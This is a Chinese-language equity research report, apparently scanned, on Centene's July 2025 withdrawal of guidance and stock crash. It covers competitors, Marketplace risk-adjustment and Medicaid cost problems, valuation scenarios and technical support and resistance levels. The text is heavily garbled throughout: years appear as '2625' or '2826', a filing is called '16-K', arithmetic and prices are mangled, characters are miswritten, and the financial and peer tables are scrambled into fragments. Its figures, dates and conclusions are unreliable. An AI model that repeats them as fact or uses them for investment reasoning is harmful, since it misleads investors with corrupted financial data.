Centene 在一个竞争激烈的行业中运营,其主要竞争对手包括UnitedHeaLth Group (UNH)、ELevance Health (ELV)、Hunana (HUM)、CVS Health (旗下拥有 Aetna) 以及 Molina Healthcare (MOH) 2。 在竞争格局中,Centene 的定位独具特色。虽然规模庭大,但与UNH 和 ELV 等高座多 元化的巨头相比,其业务集中度非常高。UNH拥有高利润的健康服务部门Optum,而ELV 也在商业保险领域拥有强大实力,这使得它们能够更好地抵御特定业务板块的周期性浪 动1从业务结构上看,Molina Healthcare (MOH)是与Centene 最相似的竞争对 手,两者都高度专注于政府项目,但Centene 的运营规模要大得多13。Humana 则是 Medicare 领域的强大对手1。客户和员工的感知数据显示,Centene在企业文化方面得 分尚可,但在产品质量和客户服务方面则落后于部分主要竞争对手。
Centene的商业模式是一把双刃刘。一方面,对政府项目的专注使其能够进入一个规模应大 且具有结构性增长潜力的市场。另一方面,这种高度集中的业务模式使其极易受到监管变 化、报销费率压力和政策不确定性的影响。与业务更多元化的竞争对手相比,Centene 的股 价因此成为政府医疗政策的一个高贝塔系数(high-beta)的投资工具。2625年7月的 股价扇盘,正是这种内在结构性风险的最终体现。 值得注意的是,导致此次危机的风险因素并非不可预见。在公司向美国证券交易委员会 (SEC)提交的16-K年度报告中,管理层已经明确列出了这些潜在风险。这些警告并非法 律上的官样文章,而是对最终导致灾难发生的具体事件的预演。在2024年2月提交的 10-K文件中,公司明确指出的风除包括: “联邦或州法律法规的变化,包括..与ACA相关的法规”16 “我们设计和定价具有竞争力且/或精算合理的产品的能力,包括但不限于Medicaid 资格重审带来的任何影响”7。
用率的波动”17 “政府支付方的要率削减、费率变更不足或其他支付减少或延退”16。
这些前瞻性陈述清晰地勾勒出了公司的脆弱性。最终,公司未能“准确预测“医疗成本,也末 能“精算合理“地为产品定价,这直接导致了股东价值的巨大毁灭。这表明,市场可能在事前 严重低估了这些已披露风险的发生概本及其满在的破坏性。 崩盘剖析:解构2025年7月的业绩指引撒回事件
要理解Centene股价崩盘的严重性,必须回顾其在短短两个月前向市场传递的乐观信号。 在2025年4月25日发布的第一季座财报中,公司描绘了一幅欣欣向荣的景象11。财 报数据显示,调整后稀释每胶收益( AdjustedD1lutedEPS)同比增长 28%,总收入增长17%,表现强劲。 最为关键的是,基于这一强劲开局,管理层在财报电活会议上采取了两个极其自信的举动: 首先,将2825年全年的保费和服务收入指引大幅上调了68亿美元:其次,重申了其调 整后EP5的指引底线,即“大于7.25美元”,这一系列操作向市场传遇了一个明确信 息:公司对全年的业务发展充满信心。正是这种公开的自信,使得随后的业绩反转显得尤为 突然和具有破坏性。
2025 年7月1日,Centene发布公告,宣布撒回此前发布的所有2025年业绩指 引,包括GAAP和调整后EPS指引及其所有基础构成要素。这一消息如同一颗重磅炸 弹,引发了市场的恐慌性售。公告发布的当天,Centene的股价暴跌约 40%,市值蒸发 超过110亿美元,创下了自2017年初以来的最低收盘价2。这一事件的背后,是两大核 心业务同时爆发的危机。
Marketplace风险调整机制是ACA 的核心设计之一,旨在稳定保险市场。这是一个"零 和游戏”,其目的是在不同的保险公司之间转移资金,以平衡各自承保会员的健康风险。拥有 比市场平均水平更健康会员的保险公司,需要向拥有更重病会员的保险公司支付资金。这可 以防止保险公司通过只承保健康人群来“劣币驱逐良币”。要在这个机制中取得优势,保险公 司不仅要了解自身会员的疾病状况,还必须准确预测整个市场的平均疾病状况。 Centene 在此遗遇了清铁卢。根据公司公告,其聘请的独立精算公司Wakely 对覆盖了公 司72Marketplace会员的22个州的数据进行了初步分析,得出了两个毁灭性的结 论1:
比Centene的模型预测的要差得多,而且这种差异是“显著且实质性不一致的”。 这一情报失误的直接财务后果是惊人的。Centene初步估计,仅这22个州的数据就将导 致其全年净风险调整收入预期减少约18亿美元,这直接对应着约2.75的调整后EPS 损失 更深层次的问题在于,这并非一次简单的财务模型错误,而是一次最高级别的战略情报失 误。作为全美最大的Marketplace运营商,Centene理应拥有最强大的效据和市场洞察 力。然而,事实证明,公司对其最重要增长市场的基本风险状况存在根本性的误判。这意味 着公司在2025年的定价和产品策略完全建立在一个错误的假设之上。这不仅影响2825 年的盈利,更让市场对其未来在该领域的竞争和定价能力产生了严量怀疑。 此外,公司还预警,剩余7个州的数据可能带来额外的负面影响,并已着手为2826年申 请更高的费率。这表明问题是结构性的,而非一次性的,其负面影响将延续到末来。
与Marketplace 业务同时,Centene 的核心 Medicaid 业务也亮起了红灯。危机的 背景是全英范围内的Medicaid资格重审。在新冠疫情期间,各州暂停了对Medicaid 受益人资格的定期审查,导致参保人数大幅增加。自2023年春季开始,各州恢复了这一流 程,数百万(通常是相对健康的)受益人因不符合资格或程序性原因失去了Med1ca1d覆 盖 这一过程导致了“逆向选择(adverse selection)":留存在Medicaid计划中的会员 群体,其平均健康状况更差,医疗需求更高,从而推高了保险公司的赔付成本。Centene在 7月1日的公告中证实,公司正经历“医疗成本趋势的阶梯式上升(step-upin medical cost trend)" , 成本润升的具体领球包括:行为康(behavioralhealth)、家庭健康(home health)和高价药品(high-cost drugs)。这些问题在特定的地理区域,尤其是 纽约州和佛罗里达州,表现得尤为突出。在这些地区,问题因“将相关服务纳入承保范图,但 没有获得足够的费率或风险调整”而进一步加剧。这直接指向了公司在与州政府进行合同谈 判和费率设定方面的失败。 这一成本压力直接体现在公司的关键运营指标--医疗受益比率(HeaLth Benefits Ratio,HBR)上,该比率衡量的是医疗赔付支出占保费收入的百分比。公司明确表示,预 计2025 年第二季度的Medicaid HBR 将高于第一季度,这正式确认了医疗成本的恶化 趋势。 这两场看似独立的危机,其核心都指向了同一个根本性问题:逆向选择。无论是在 Medicaid 还是 MarketpLace,Centene 所面临的人群风险状况都比其精算模型预测的 要籍糕得多。这表明公司在建模和定价人口健康风险这一核心能力上存在系统性蜀点。值得 注意的是,公司在公告中特别提到了“独立精算公司WakeLy”,这暗示Centene的内部 团队可能未能发现问题的严重性,需要借助外部力量才揭示了真相。这对市场而言,是对其 内部控制和风险管理职能的又一次重击,严量削弱了投资者的信心。 损失评估:负面因素是否已完全被市场消化? 在Centene股价经历断式下跌后,一个核心问题摇在投资者面前:显坏的时期是否已经 过去?当前的股价是否已经完全反映了所有的负面因素?答案是否定的。尽管股价的跌幅巨 大,但市场尚未完全消化此次危机带来的三个层面的深远影响:严峻的蓝管现实、管理层信 誉的前爆以及对2626年盈利能力的根本性不确定性。
感管此次危机的直接导火索是Marketplace 和Medicaid,但Centene 的 Medicare Advantage(MA)业务同样面临着一个充满挑战的宏跟环境,这使得该业务板 块难以成为稳定公司业绩的“压舱石”。 首先,CMS发布的 2025年MA最终费率公告对整个行业构成了压力。CMS最终确定 2825年MA计划的平均收入将仅增长3.721。许多行业参与者认为,这一增幅不足以 完全覆盖日益上涨的医疗成本和利用率。其次,CMS正在分三年逐步实施新的CMS-HCC 风险调整模型,该模型通过限制某些诊断代码的使用来降低支付,这对所有MA计划的盈利 能力构成了持续的逆风1。最后,政治上的不确定性也签置着市场。增强版的ACA补贴将 于2025年底到期,如果国会不采取行动,可能会对Marketplace的参保人数和市场稳 定性造成冲击” Centene 正面临一场艰难的多线作战。Marketplace业务因风验调整的误判而盈利能力 受损;Med1ca1d 业务因HBR魏升和州政府费率不足而面临压力:而MA业务又受困于 全行业的费率和监管逆风。与那些拥有高利润商业保险或健康服务部门的多元化竞争对手不 同,Centene的三大核心政府业务同时承受压力,这极大地放大了公司的风险。
此次事件对Centene 造成的显大损害,可能并非财务数字本身,而是管理层信的彻底崩 爆。将4月25日Q1财报电话会议上的自信满满(上调收入指引、重申盈利目标)与 7月1日的突然撤回并列来看,其反差是惊人的“。 这不仅仅是一次业绩“未达预期(niss)”,而是一次根本性的监替和风险管理失败。它向市 场表明,公司的最高管理层对其核心业务的风险状况缺乏基本的掌控力。这种信誉的丧失立 即反映在分析师的行动上。事件发生后,华尔街投行纷纷下调其评级和目标价。例如,瑞银 (UBS)将其评级从“买入“下调至“中性”,目标价从80美元大帽削减至45美元25。摩 根大通(J.P.Morgan)也将其评级下调至“中性”,目标价降至48美元13。这一致的 恶观情绪证明,市场对管理层的信任已降至冰点。
必须承认,Centene的竞争对手们也并非高枕无忧。整个管理式医疗行业都在努力应对 Medicaid资格重审带来的会员结构变化和高于预期的MA服务利用率。 然而,Centene 的问题显然更为严重和独特。其对 Medicaid 和 Marketplace 亚务 的极度依赖,使其成为这些特定逆风的最大受害者。相比之下,UnitedHealth Group 和 ElevanceHealth 等竞争对手,虽然股价同样承压,但并未经历同等级别的离盘,这反映 了它们更加多元化和具韧性的商业模式所带来的缓冲作用1。 因此,结论是,市场尚未完全消化所有负面因素。股价的暴跌反映了2025年已知的财务损 失,但并未完全反映一个更重要的变量:对末来的极度不确定性。市场的核心问题已经 从“Centene在2625年会肆多少钱?“转变为“我们还能相信Centene炭布的任何关 于2026年的数字吗?”。在管理层能够重建可信的盈利预测模型并证明其有能力应对危机 之前,市场将被迫对Centene的股票施加一个显著的“不确定性溢价”或”信誉折扣”。这 意味着,即便在暴跌之后,脱价也末必已经触底。 估值重校:构建新的基本面底线 Centene的估值体系已经与其历史背景脱钩。该股票已滨变为一个“特殊情况(spec1al situation)”,传统的基于过往盈利的估值指标具有高度的误导性。整个投资论证的核心, 完全取决于市场对公司2026年盈利能否复苏的信心,而目前这种信心极其脆费。
为了解此次危机对公司财务状况的冲击有多大,我们首先需要回原其在危机前的表现。下表 汇总了Centene从2021年到 2624年的关键财务指标,以建立一个业绩基线。 指标 2022 2024 $154.8 总取人($B) $126.8 8*9215 $144.5 $163.1 $1.35 $1.21 $2.73 $3.31 净利润($B) $6.31 稀释舞股收益(DilutedEPS) $2.28 $2.07 $4.95 医疗受益比率(HBR/HLR)(%) N/A
%*88 7元 数据案源: 这张表格清晰地展示了公司在2025年盘前的增长轨迹和利润率状况。值得注意的是,尽 管收入持续增长,但HBR在2024年有所上升,这可能预示着成本压力的初步显现。
理在,我们来构建一个修正后的2825年盈利模型,以量化危机的全面影响。
美元11
调整问题所导致的EPS损失:2.75美元1。修正后的基数为
MedicaidHBR上升的影响进行保守估计。假设剩余州授比例产生类似影响,井且综 合 HBR 因Med1ca1d 成本压力再上升56-180个基点,这可能导致额外的 EPS 损失。例如,审慎估计这部分额外冲击为0.65美元。
测值:7.252.75(已知)6.65(估计)=$3.85。这一致字与瑞银(UBS)将其 2025年预测下调至3.25美元的悲观预期相近25,凸显了盈利前景的急剧恶化。
Centene当前的估值与同业相比显得极不寻常。 公司(代码) 市值 HLI 远期 P/S 股本回报率 净利润 ($B) P/E Rati (ROE) 率 (%) (%) $15.
8.1
Centene (CNC)
5x 7x 6x 1 UnitedHealth (UNH) $26 N/A ~8.6
(ROA)
5x ~$77. N/A ~8.4
Elevance Health (ELV)
(ROA) 3x X
~14. ~8.2
(HnH)euewng 2x 5x
Holina Healthcare (HO
N/ A xg (ROA) H} 数据票源:13。数据藏至202 5年7月中何,可能存在小 幅流动。 此表揭示了一个核心矛盾:在追踪市盈率(TTMP/E)方面,Centene的4.5倍远低于 同业12倍以上的水平,看似是价值洼地4。然而,这个 TTMP/E中的“E”(盈利)是基于现已证明不可持续的历史数据。真正的估值饼论焦点在于 对未来的预期。 此外,市销率(P/SRatio)在此情境下变得尤为重要。Centene 约0.1倍的 P/S 比 率,远低于UNH的9.65倍和ELV的6.43倍,这表明市场对其庞大的收入基础能够 转化为可持续利润的能力持极度怀疑态度。市场正在用价格投票,认为Centene 的每一 美元收入,其质量和盈利能力远低于其竞争对手。
由于2825年已成为一个“失落之年”,任何有意义的估值都必须着限于2026年的潜在复 苏。
应享有较同业显著的估值折扣。一个10-12倍的远期市盈率(ForwardP/E)区间 是合理的。这低于UNH和ELV等更稳定同业的12-16倍,但承认了2026年 盈利有一定程度复苏的可能性。瑞银在其降级报告中也使用了10倍的市盈率25。
守的预测,即
消成本压力。
0基本情景:11倍市盈率×5.00美元2826EEPS=55.00美元。
0照市情景(费率调整失败):9倍市盈率×4.00美元EPS=36.06美元。 。牛市情景(成功重新定价和成本控制):13倍市盈率×6.80美元EPS =78.00美元。 这个估值框架表明,尽管当前股价看似低廉,但其上行空间完全依赖于管理层在未来18个 月内的执行力,而这正是市场目前最肤乏信心的部分。 技术图表分析:识别关键支撑与阻力位 技术分析证实了基本面的扇溃。股价走势的剧烈程度和成交量的放大,表明市场对Centene 的看法发生了范式转移。这并非一次普通的回调,而是一次彻底的价值重估。
从月线图上看,Centene 的股价自 2022年8月创下历史新高后,便一直处于稳步的下 降通道中2。2025年7月的暴跌则是一次灾难性的加速,伴随着巨大的成交量,这通常意 味着机构投资者的恐慌性抛告和长期持有者的信心瓦解2。 至关重要的是,股价轻松跌破了所有关键的移动平均线,包括58天、108天和200天 移动平均线,这些均线目前都已掉头向下,成为未来的阻力位“。最具决定性的信号是,股 价击穿了被视为牛熊分界线的长期 208个月移动平均线(约在42美元附近),这是一个极其负面的长期技术信号2。
在股价如”飞刀下坠“的情景中,任何支撑位都只是概率上的参考,而非绝对的保证。
是一个具有强大价格记忆的区域,当时大量的股票在此换手,形成了一个坚实的底部。 如果股价跌至此区域,可能会吸引寻求深度价值的长期买盘。
年4月期间形成的一个上升三角形的突破点2。跌至此价位将意味着过去十年的涨幅 几乎完全回吐,这只可能在市场完全不相信2026年能有任何复苏的情景下发生。
如此剧烈的下跌面前显得微不足道,很可能被轻易击穿“"7。
对于任何潜在的股价反弹,都需要关注以下几个关键的阻力位:
点:它是2015年7月的高点、2019年9月的低点,并且与目前正在下行的 268个月移动平均线非常接近2。
天移动平均线所在的位置,代表了近期被套卖盘的巨大“价格记亿”45。
长期下降趋势线”。只有当股价能够决定性地突破并站稳在这一水平之上,才能宣告长 期熊市的真正结束。
相对强器指数(RSI)在日线、周线和月线图上均已进入深度超卖区域(低于38)”.通常 、周线和月线图上均已进入深度超卖区域(低于38).通常 相对强弱指数 (RSI)在日线、 情况下,这可能预示誉短期内会出现技术性反弹或“回抽”。然而,必须强调的是,在强劲的 照市趋势中,股价可以在“超卖“区域停留很长时间。超卖本身并不构成买入信号,它仅仅表 明下跌的速度过快。 综合技术面来看,最可能出现的近期情景是:股价在深度超卖后出现技术性反弹,但这种反 弹很可能在关键阻力位(尤其是42美元)遭遇强大卖压而失败,之后股价可能进入一个低 位震蕊或继续探底的阶段,直到基本面出现实质性的好转信号,才能吸引足够的可持续买盘 来构建新的底部。 结论与最终建议 综合分析 Centene Corporation 的基本面已经发生了不可逆转的改变。公司正面临其两大核心业 务的盈利能力危机,以及一场更为严重的管理层信誉危机。股价的暴跌虽然剧烈,但它所反 映的不仅仅是2025年的盈利损失,更是对公司末来多年盈利能力和管理执行力的深度不信 任。 负面因素是否已完全消化? 本报告的结论是,尚未完全消化。当前股价虽然反映了大部分已知的坏消息,但并末充分定 价以下风:1)2026年盈利复苏路径的高度不确定性,包括费率谈判失败的风险:2)管 理层信誉重建所需的时间成本和估值折价的持续性。市场对Centene的“信誉折扣"是真实 存在的,并且在可预见的未来可能会一直持续。 风险回报评估 在当前节点,对于寻求稳健回报的长期投资者而言,Centene 的风险回报状况井不具吸引 力。尽管股价反弹至一个“正常化”估值水平(如回到78美元以上)的潜在空间巨大,但通 往这一目标的道路充满了执行风除。如果即将发布的2625 年第二、三季度财报揭示出比预 期更差的成本超势,股价进一步下探至27美元主要支撑位的可能性是显著的。 需要监控的关键催化剂 建议投资者密切关注以下可能改变投资论点的关键催化剂:
。2025年Q2/Q3财报:公司能否提供具体、可信的数据来证明Medicaid成本 趋势已经稳定,并提出一个清晰、可行的复苏计划。 。2026年费率审批:各州监管机构是否批准了足以重盖更高成本基础的2826年 Marketplace 费率。 。管理层变动:任何旨在重建市场信心的重大管理层或董事会调整。
。风险调整的进一步恶化:对剩余7个州或最终结算据的分析显示,风险调整的 负面影响超过18亿美元的初步估计。 。费率谈判失败:关键州份拒绝批准必要的费率上调。 oMedicaid成本持续失控:成本压力延续至2025 年下半年及以后,表明问题比 预期更为根深蒂固, Works cited
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